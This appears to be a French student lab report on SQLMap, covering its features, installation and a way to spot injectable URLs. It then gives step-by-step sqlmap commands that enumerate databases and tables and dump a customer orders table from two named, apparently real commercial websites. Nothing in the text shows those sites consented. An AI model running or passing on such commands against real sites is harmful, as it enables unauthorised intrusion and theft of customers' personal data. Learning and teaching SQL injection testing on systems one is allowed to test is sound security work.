Introduction Ce TP a pour but d analyser un outil d injection SQL, comprendre les vulnérabilités d une BD et de mettre en œuvre une attaque par injection SQL. Prise en main du logiciel SQLMap est un outil permettant d effectuer des requêtes SQL de manières automatisées dans le but de trouver et d exploiter une mauvaise configuration sur votre serveur Web. Ce dernier a été développé en Python par Bernardo Damele et Miroslav Stampar sous licence GPLv2. Le choix de ce langage de programmation est intéressant car il permet à l outil d être utilisable sur n importe quel système d exploitation. Voici quelques caractéristiques de l outil : Support de MySQL, Oracle, PostgreSQL et Microsoft SQL Server. Outre ces quatre systèmes de gestion de base de données (SGBD), SqlMap permet également d identifier Microsoft Access, DB2, Informix, Sybase et Interbase. Support pour énumérer les utilisateurs, les mots de passe, les privilèges, les tables, les colonnes, etc. Prise en charge de plusieurs techniques d injection SQL : en aveugle, UNION, etc. Prise d empreinte de serveurs Web Intégration avec d autres projets tels que w3af et Metasploit Support des méthodes d authentification : HTTP Basic, NTLM et par certificat etc. Installation Prérequis : Sachant que cet outil a été développé en Phython, il faut donc installer python : - apt-get install python L outil SQLmap est gratuit et se télécharge sur http://sqlmap.org/. L outil est prêt à être utiliser. La procédure est également très simple sous Windows. L installation de SQLMap se fait à partir de deux exécutables indispensables : - Tout d abord, il est nécessaire de se diriger vers le site officiel de SQLMap qui propose le téléchargement du fichier «.zip». Afin de pouvoir l utiliser convenablement, il est nécessaire de compléter le téléchargement par l exécution de - Python 2.7 qui est téléchargeable sur le site officiel aussi. L étape suivante consiste à exécuter Python 2.7. Les manipulations ne sont pas complexes mais plutôt faciles à réaliser. Pour cela, il faut lancer Python 2.7 pour ensuite lui attribuer un fichier d exécutions. La suite est assez simple en cliquant uniquement sur suivant pour terminer l installation. Dès lors, il est nécessaire de s occuper du fichier «.zip» de SQLMap. Ainsi, il faut extraire les fichiers qui le constituent et le renommer pour plus de clarté par SQLMap. La suite consiste à copier ce 1
fichier extrait à l endroit où se trouve Python 2.7. Figure 1 : Copie du fichier SQLMap dans le fichier Python2.7 SQLMap est un outil fonctionnant en lignes de commandes. C est pourquoi, il est indispensable de lui créer un invite de commandes qui lui est dédié. Ainsi, il faut créer un nouveau raccourci en spécifiant «cmd» pour automatiquement créer cet invite de commande souhaité. 2
Figure 2 : Création d un raccourci pour l outil Sqlmap. Les propriétés qui lui sont attribuées par défaut ne conviennent pas et ne font pas appel à l outil en question. C est pourquoi, il est nécessaire de modifier les propriétés et de leur attribuer une nouveau chemin pour la cible qui correspondra au fichier SQLMap exécutable dans le fichier Python 2. 3
Figure 3 : Changement de la cible dans les propriétés de l invite de commandes L outil est maintenant installé et prêt à être utilisé : Figure 4 : Interface de lancement de SQLMap Recherche URL Vulnérable Il existe des sites web qui possèdent des URL semblable aux URLs ci-dessus : - http://www.flaner-en-provence.fr/catalogue/index.php?vartheme=30 - http://www.anor.fr/terrains/consult_fiche.php?id=70 Ce site est sujet à l'injection de code SQL, car le développeur de ce site n'a pas prise en compte les caractères nuisible. Ce peut être simplement testé en essayant d'ouvrir l'url comme indiqué ci-dessous : http://www.flaner-en-provence.fr/catalogue/index.php?vartheme=30 Nous venons d'ajouter une apostrophe dans le paramètre. Si cette URL renvoie une erreur ou réagit de manière inattendue alors il est clair que la base de données est vulnérable. Donc, dans ce cas, ce paramètre d'entrée "id" est vulnérable à l'injection SQL. 4
Utilisation de l outil Dès lors que le site cible (vulnérable) est trouvé, les commandes peuvent être exécutées. La syntaxe présentée ci-dessous est valable pour toutes les commandes. Il suffit ensuite uniquement de changer les options pour obtenir le résultat souhaité. - Sqlmap.py : commande pour faire appel à SQLMap mais aussi à Python - -u : options qui suit sqlmap.py pour indiquer qu une adresse URL doit être insérer ensuite - Adresse URL du site vulnérable. - Indiquer ensuite les options souhaitées. python sqlmap.py -u " http://www.flaner-en-provence.fr/catalogue/index.php?vartheme=30" Options utilisées : python : Car l outil est codé en python -u : adresse de la cible A la fin de l exécution nous obtenons le résultat suivant : L'outil sqlmap a découvert le système d'exploitation, serveur Web et base de données avec les informations de version. Il nous indique aussi les types d injection utilisé (Boolean-based blind, error-based, UNION query ). Une fois que l outil nous confirme que le site web est vulnérable, nous pouvons donc récupérer les noms des bases de données à l aide de la commande suivant (option -- dbs) : python sqlmap.py -u "http://www.flaner-en-provence.fr/catalogue/index.php?vartheme=30" --dbs 5
Nous obtenons donc le résultat suivant : Nous pouvons observer que l outil a pu repérer deux bases de données : flaner_base Information_schema Dans le même sens, pour trouver les BDs du deuxième site : Sqlmap.py u http://www.anor.fr/terrains/consult_fiche.php?id=70 --dbs --hex Qui donne le résultat suivant : Une fois que nous avons le nom de la base de donné nous pouvons afficher la liste de ses tables à l aide de la commande suivante (option -- tables pour demander les tables ; et -D nom_de_la_bd) python sqlmap.py -u "http://www.flaner-en-provence.fr/catalogue/index.php?vartheme=30" --tables -D flaner_base Nous obtenons donc le résultat suivant : 6
Nous pouvons observer que l outil nous à fournit une liste des tables disponible dans la BD. Nous pouvons maintenant afficher le contenue d un tableau a l aide de la commande suivante (option -- dump, bien sûr en précisant également le nom de la table (-T nom_de_la_table et de la BD) : python sqlmap.py -u "http://www.flaner-en-provence.fr/catalogue/index.php?vartheme=30" dump -D flaner_base -T commandes Nous obtenons le résultat suivant : Nous pouvons observer que l outil nous a su récupère les coordonné des clients. Le tableau suivant liste des options utilisées au cours du test de l outil : Options Leurs utilités -u Indique l url du site ciblé -dbs Pour lister les bases de données 7
-Tables Pour lister les tableaux d une base de données -D Indique le nom d une base de données -T Indique le nom de la table -dump Imprime le contenue d une table Les options utilisées sont détaillé dans le site suivant : https://github.com/sqlmapproject/sqlmap/wiki/usage 8